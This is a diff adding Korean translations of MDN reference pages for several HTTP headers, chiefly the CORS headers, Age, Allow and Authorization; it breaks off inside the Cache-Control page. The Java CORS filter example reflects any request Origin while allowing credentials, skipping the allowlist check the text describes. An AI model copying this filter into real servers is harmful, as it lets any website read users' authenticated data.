+<p><code>Access-Control-Allow-Credentials</code> 헤더는 {{domxref("XMLHttpRequest.withCredentials")}} 속성이나 Fetch API 생성자의{{domxref("Request.Request()", "Request()")}}의 <code>credentials</code> 옵션과 함께 작동합니다. 자격 증명이 있는 CORS 요청의 경우, 브라우저가 프런트엔드 JavaScript 코드에 대한 응답을 노출하기 위해서는 서버(Access-Control-Allow-Credentials 헤더 사용)와 클라이언트(XHR, Fetch 또는 Ajax 요청에 대한 자격 증명 모드를 설정하여)가 자격 증명 포함을 선택하고 있음을 표시해야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Credentials: true
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>true</dt>
+ <dd>이 해더에 유일하게 유효한 값은 <code>true</code>(대소문자 구분)입니다. 자격증명이 필요하지 않으면 값을 <code>false</code>로 설정하지 말고 이 해더 전체를 생략하세요.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>Allow credentials:</p>
+
+<pre class="notranslate">Access-Control-Allow-Credentials: true</pre>
+
+<p>Using <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> with credentials:</p>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<p>Using <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> with credentials:</p>
+
+<pre class="brush: js notranslate">fetch(url, {
+  credentials: 'include'
+})</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Credentials")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest.withCredentials")}}</li>
+ <li>{{domxref("Request.Request()", "Request()")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-allow-headers/index.html b/files/ko/web/http/headers/access-control-allow-headers/index.html
new file mode 100644
index 0000000000..25cffdf23f
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-allow-headers/index.html
@@ -0,0 +1,117 @@
+---
+title: Access-Control-Allow-Headers
+slug: Web/HTTP/Headers/Access-Control-Allow-Headers
+tags:
+  - CORS
+  - HTTP
+  - Reference
+  - 헤더
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Access-Control-Allow-Headers</code></strong> 는 {{HTTPHeader("Access-Control-Request-Headers")}}를 포함하는 {{glossary("preflight request")}}의 응답에 사용되는 헤더로, 실제 요청때 사용할 수 있는 HTTP 헤더의 목록을 나열합니다.</p>
+
+<p>요청에 {{HTTPHeader("Access-Control-Request-Headers")}} 헤더가 포함되어 있을 경우, 이 헤더를 포함하여야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Headers: <em>&lt;header-name&gt;</em>[, <em>&lt;header-name&gt;</em>]*
+Access-Control-Allow-Headers: *
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt><code>&lt;header-name&gt;</code></dt>
+ <dd>지원하는 헤더의 이름입니다. 쉼표로 구분하여 원하는 만큼 헤더를 나열할 수 있습니다.</dd>
+ <dt><code>*</code> (와일드카드)</dt>
+ <dd>"<code>*</code>" 값은 자격 증명이 없는 요청(<a href="/ko/docs/Web/HTTP/Cookies">쿠키</a> 혹은 HTTP 인증 정보가 없는 요청)일 경우 특수한 와일드 카드로 처리됩니다. 자격증명을 포함하는 경우 단순히 "<code>*</code>"라는 이름을 갖는 특별한 의미가 없는 헤더로 취급됩니다. 단, {{HTTPHeader("Authorization")}} 헤더는 와일드카드에 포함되지 않으며 명시적으로 나열해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="사용자_정의_헤더">사용자 정의 헤더</h3>
+
+<p>다음은 <code>Access-Control-Allow-Headers</code> 헤더가 어떤 식으로 작성되는지에 대한 예시입니다. {{glossary("CORS-safelisted_request_header", "CORS에서 안전한 헤더")}}<span class="tlid-translation translation" lang="ko"><span title="">외에도 X-Custom-Header라는 사용자 정의 헤더가 서버에 대한 CORS 요청에 의해 지원됨을 나타냅니다.</span></span></p>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header</pre>
+
+<h3 id="여러_개의_헤더">여러 개의 헤더</h3>
+
+<p><span class="tlid-translation translation" lang="ko"><span title="">이 예시는 여러 개의 헤더를 지정할 때 Access-Control-Allow-Headers</span></span>가 어떤 식으로 작성되는지 보여줍니다.</p>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests</pre>
+
+<h3 id="Preflight_요청_예시">Preflight 요청 예시</h3>
+
+<p>사전 요청에서  <code>Access-Control-Allow-Headers</code> 이 사용된 경우의 예제를 보도록 합시다.</p>
+
+<h4 id="요청">요청</h4>
+
+<p><span class="tlid-translation translation" lang="ko">이 </span>Preflight <span class="tlid-translation translation" lang="ko"><span title="">요청은 </span></span>Preflight 요<span class="tlid-translation translation" lang="ko"><span title="">청 헤더인 </span></span>{{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}} <span class="tlid-translation translation" lang="ko"><span title=""> 및 </span></span> {{HTTPHeader("Origin")}}, 이 세가지 Preflight 요청 헤더를<span class="tlid-translation translation" lang="ko"><span title=""> 포함하는 </span></span>{{HTTPMethod("OPTIONS")}} <span class="tlid-translation translation" lang="ko"><span title="">요청입니다.</span></span></p>
+
+<pre>OPTIONS /resource/foo
+Access-Control-Request-Method: DELETE
+Access-Control-Request-Headers: origin, x-requested-with
+Origin: https://foo.bar.org</pre>
+
+<h4 id="응답">응답</h4>
+
+<p>만약 서버가 {{HTTPMethod("DELETE")}} 메소드에 CORS 요청을 허용한다면 {{HTTPHeader("Access-Control-Allow-Methods")}}에 DELETE, 그리고 다른 지원하는 메소드를 포함하여 응답합니다.</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Length: 0
+Connection: keep-alive
+Access-Control-Allow-Origin: https://foo.bar.org
+Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
+Access-Control-Max-Age: 86400</pre>
+
+<p><span class="tlid-translation translation" lang="ko"><span title="">요청된 메소드가 지원되지 않으면 서버는 오류로 응답합니다.</span></span></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-allow-origin/index.html b/files/ko/web/http/headers/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..7fcc879d53
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-allow-origin/index.html
@@ -0,0 +1,140 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Headers/Access-Control-Allow-Origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<p><code><strong>Access-Control-Allow-Origin</strong></code> 응답 헤더는 이 응답이 주어진 {{glossary("origin")}}으로부터의 요청 코드와 공유될 수 있는지를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origin&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt><code>*</code></dt>
+ <dd><em>credential</em>이 없는 요청들에 와일드카드로써 문자 값 "*"이 명시될 수 있습니다. 이 값은 브라우저에 리소스에 접근하는 임의의 origin으로부터의 요청 코드를 허용함을 알립니다.  와일드카드를 credential과 함께 사용하려고 하면 <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">오류가 발생</a>합니다.</dd>
+ <dt><code>&lt;origin&gt;</code></dt>
+ <dd>origin을 명시합니다. 하나의 origin만 명시될 수 있습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>브라우저에 리소스에 접근하는 임의의 origin으로부터의 요청을 허용한다고 알리는 응답은 다음을 포함할 것입니다:</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<p>브라우저에 <code>https://developer.mozilla.org</code>으로부터의 요청을 허용한다고 알리는 응답은 다음을 포함할 것입니다:</p>
+
+<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<p>가능한 <code>Access-Control-Allow-Origin</code> 값을 허용된 origin 집합으로 제한하는 것은 요청 헤더의 {{HTTPHeader("Origin")}}를 검사하는 서버 측 코드가 필요합니다. 이를 허용된 origin 리스트와 비교하고,  {{HTTPHeader("Origin")}} 값이 리스트에 있으면 <code>Access-Control-Allow-Origin</code> 값을 {{HTTPHeader("Origin")}}과 동일한 값으로 설정합니다.</p>
+
+<h3 id="CORS_and_caching">CORS and caching</h3>
+
+<p>서버가 ("<code>*</code>" 와일드카드 외에) 명시적인 origin을 <code>Access-Control-Allow-Origin</code> 과 함께 응답으로 보내면, 응답은 값이 <code>Origin</code>인 {{HTTPHeader("Vary")}} 응답 헤더 또한 포함해야 합니다 — 브라우저에 서버가 <code>Origin</code> 요청 헤더의 값에 따라 다르게 응답할 수 있음을 알리기 위해.</p>
+
+<pre>Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h3 id="Handling_CORS_on_the_server_(Java_example)">Handling CORS on the server (Java example)</h3>
+
+<p>다음의 Java 코드는 CORS 요청 헤더를 설정합니다. 코드가 어떻게 <code>Access-Control-Allow-Origin</code> 값을 {{HTTPHeader("Origin")}} 요청 헤더와 동일한 값을 설정하는지 알아 두십시오.</p>
+
+<pre class="brush: java">import java.io.IOException;
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.stereotype.Component;
+
+
+@Component
+public class SimpleCORSFilter implements Filter {
+
+private final Logger log = LoggerFactory.getLogger(SimpleCORSFilter.class);
+
+public SimpleCORSFilter() {
+    log.info("SimpleCORSFilter init");
+}
+
+@Override
+public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
+
+    HttpServletRequest request = (HttpServletRequest) req;
+    HttpServletResponse response = (HttpServletResponse) res;
+    response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
+    response.setHeader("Access-Control-Allow-Credentials", "true");
+    response.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE");
+    response.setHeader("Access-Control-Max-Age", "3600");
+    response.setHeader("Access-Control-Allow-Headers", "Content-Type, Accept, X-Requested-With, remember-me");
+    chain.doFilter(req, res);
+}
+
+@Override
+public void init(FilterConfig filterConfig) {
+}
+
+@Override
+public void destroy() {
+}
+
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+ <li><a href="https://gist.github.com/wildoctopus/3730b5c60f9d5224f6c2418d07708e21">CORS 문제를 어떻게 해결하나요?</a></li>
+</ul>
+
+<div>{{HTTPSidebar}}</div>
diff --git a/files/ko/web/http/headers/access-control-request-headers/index.html b/files/ko/web/http/headers/access-control-request-headers/index.html
new file mode 100644
index 0000000000..1da8a6af4d
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-request-headers/index.html
@@ -0,0 +1,71 @@
+---
+title: Access-Control-Request-Headers
+slug: Web/HTTP/Headers/Access-Control-Request-Headers
+tags:
+  - CORS
+  - HTTP
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Access-Control-Request-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>요청 헤더 <strong><code>Access-Control-Request-Headers</code></strong>는 실제 요청이 만들어질 때 클라이언트가 보낼 수도 있는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>를 서버에게 알리기 위해 브라우저가 {{glossary("preflight request")}}를 발급(issue)할 때 사용됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Request-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="지시어">지시어</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>요청에 포함 된 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>의 쉼표로 구분 한 목록.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">현재 페이지에 있는 호환성 표는 구조화된 데이터가 생성합니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull request를 보내세요.</p>
+
+<p>{{Compat("http.headers.Access-Control-Request-Headers")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-request-method/index.html b/files/ko/web/http/headers/access-control-request-method/index.html
new file mode 100644
index 0000000000..3947c883ed
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-request-method/index.html
@@ -0,0 +1,71 @@
+---
+title: Access-Control-Request-Method
+slug: Web/HTTP/Headers/Access-Control-Request-Method
+tags:
+  - CORS
+  - HTTP
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Access-Control-Request-Method
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>요청 헤더 <strong><code>Access-Control-Request-Method</code></strong>는 실제 요청이 만들어질 때 클라이언트가 보낼 수도 있는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>를 서버에게 알리기 위해 브라우저가 {{glossary("preflight request")}}를 발급(issue)할 때 사용됩니다. 사전 요청(preflight request)은 항상 {{HTTPMethod("OPTIONS")}}이며 실제 요청과 동일한 메소드를 사용하지 않으므로 이 헤더가 필요합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<h2 id="지시어">지시어</h2>
+
+<dl>
+ <dt>&lt;method&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 중 하나. 예를 들어 {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, 또는 {{HTTPMethod("DELETE")}}.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Access-Control-Request-Method: POST</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-request-method', 'Access-Control-Request-Method')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">현재 페이지에 있는 호환성 표는 구조화된 데이터가 생성합니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull request를 보내세요.</p>
+
+<p>{{Compat("http.headers.Access-Control-Request-Method")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/age/index.html b/files/ko/web/http/headers/age/index.html
new file mode 100644
index 0000000000..a8594ee54e
--- /dev/null
+++ b/files/ko/web/http/headers/age/index.html
@@ -0,0 +1,69 @@
+---
+title: Age
+slug: Web/HTTP/Headers/Age
+translation_of: Web/HTTP/Headers/Age
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Age</strong></code> 헤더는 객체가 프록시 캐시 내에 머무는 초단위의 시간을 가집니다.</p>
+
+<p><code>Age</code> 헤더는 보통 0에 가깝습니다. 만약 <code>Age: 0라면</code>, 그것은 아마도 원 서버로부터 막 내려받은 것일 겁니다; 그게 아니라면 프록시의 현재 시간과 HTTP 응답 내에 포함된 {{HTTPHeader("Date")}} 일반 헤더의 차로 계산됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Age: &lt;delta-seconds&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;delta-seconds&gt;</dt>
+ <dd>
+ <p>음수가 아닌 정수형으로, 객체가 프록시 캐시 내에 머문 초단위 시간을 나타냅니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Age: 24</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Age", "5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Age")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/allow/index.html b/files/ko/web/http/headers/allow/index.html
new file mode 100644
index 0000000000..11cdabd478
--- /dev/null
+++ b/files/ko/web/http/headers/allow/index.html
@@ -0,0 +1,67 @@
+---
+title: Allow
+slug: Web/HTTP/Headers/Allow
+tags:
+  - Entity header
+  - HTTP
+  - HTTP Header
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Allow
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Allow</strong></code> 헤더는 리소스가 지원하는 메소드 집합을 나열합니다.</p>
+
+<p>어떤 요청 메소드를 사용할 수 있는지 알리기 위해 서버가 {{HTTPStatus("405")}} <code>Method Not Allowed</code> 상태코드로 응답할 경우에 이 헤더를 반드시 보내야 합니다. 비어있는 <code>Allow</code> 헤더는 리소스가 어떤 요청 메소드도 허용하지 않음을 나타냅니다. 예를 들어, 특정 리소스에 대해 일시적으로 발생할 수도 있는 요청 메소드조차 허용하지 않음을 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Allow: &lt;http-methods&gt;
+</pre>
+
+<h2 id="지시어">지시어</h2>
+
+<dl>
+ <dt>&lt;http-methods&gt;</dt>
+ <dd>쉼표로 구분한 허용된 <a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 목록.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Allow: GET, POST, HEAD</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Allow", "7.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("405")}}</li>
+ <li>{{HTTPHeader("Server")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/authorization/index.html b/files/ko/web/http/headers/authorization/index.html
new file mode 100644
index 0000000000..769d7d43e3
--- /dev/null
+++ b/files/ko/web/http/headers/authorization/index.html
@@ -0,0 +1,90 @@
+---
+title: Authorization
+slug: Web/HTTP/Headers/Authorization
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 요청 헤더
+  - 참고자료
+  - 헤더
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>Authorization</code></strong> 요청 헤더는 서버의 사용자 에이전트임을 증명하는 자격을 포함하여, 보통 서버에서 {{HTTPStatus("401")}} <code>Unauthorized</code> 상태를 {{HTTPHeader("WWW-Authenticate")}} 헤더로 알려준 이후에 나옵니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;type&gt;</dt>
+ <dd><a href="/ko/docs/Web/HTTP/Authentication#%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">인증 타입</a>. 보통 타입은 <a href="/ko/docs/Web/HTTP/Authentication#Basic_%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">"Basic"</a>이며. 다른 타입으로:
+ <ul>
+  <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+  <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;credentials&gt;</dt>
+ <dd>만약 "Basic" 인증 스킴이 사용되었다면, 증명은 다음과 같이 만들어집니다:
+ <ul>
+  <li>사용자명과 비밀번호가 콜론을 이용하여 합쳐집니다(<code>aladdin:opensesame</code>).</li>
+  <li>그 결과에 대한 문자열을 <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> 로 인코딩합니다 (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note</strong>: Base64 인코딩은 암호화나 해싱을 의미하지 않습니다! 이 방법은 인증에 대해서 문자를 그대로 보내는 것과 동일하다고 할 수 있습니다 (base64인코딩은 복호화 가능). Basic 인증을 하는 경우 HTTPS로 접속하는 것을 권장합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>HTTP basic 인증을 사용하여 비밀번호를 보호하기 위해 Apache 또는 nginx 서버를 어떻게 설정해야 하는지 예제를 보기 위해서는<a href="/ko/docs/Web/HTTP/Authentication"> HTTP authentication</a> 를 보시기 바랍니다.</p>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_더_보기">함께 더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/cache-control/index.html b/files/ko/web/http/headers/cache-control/index.html
new file mode 100644
index 0000000000..28225982b0
--- /dev/null
+++ b/files/ko/web/http/headers/cache-control/index.html
@@ -0,0 +1,171 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Headers/Cache-Control
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Cache-Control</code></strong> 일반 헤더 필드는 요청과 응답 내의 캐싱 메커니즘을 위한 디렉티브를 정하기 위해 사용됩니다. 캐싱 디렉티브는 단방향성이며, 이는 요청 내에 주어진 디렉티브가 응답 내에 주어진 디렉티브와 동일하다는 것을 뜻하지는 않는다는 것을 의미합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
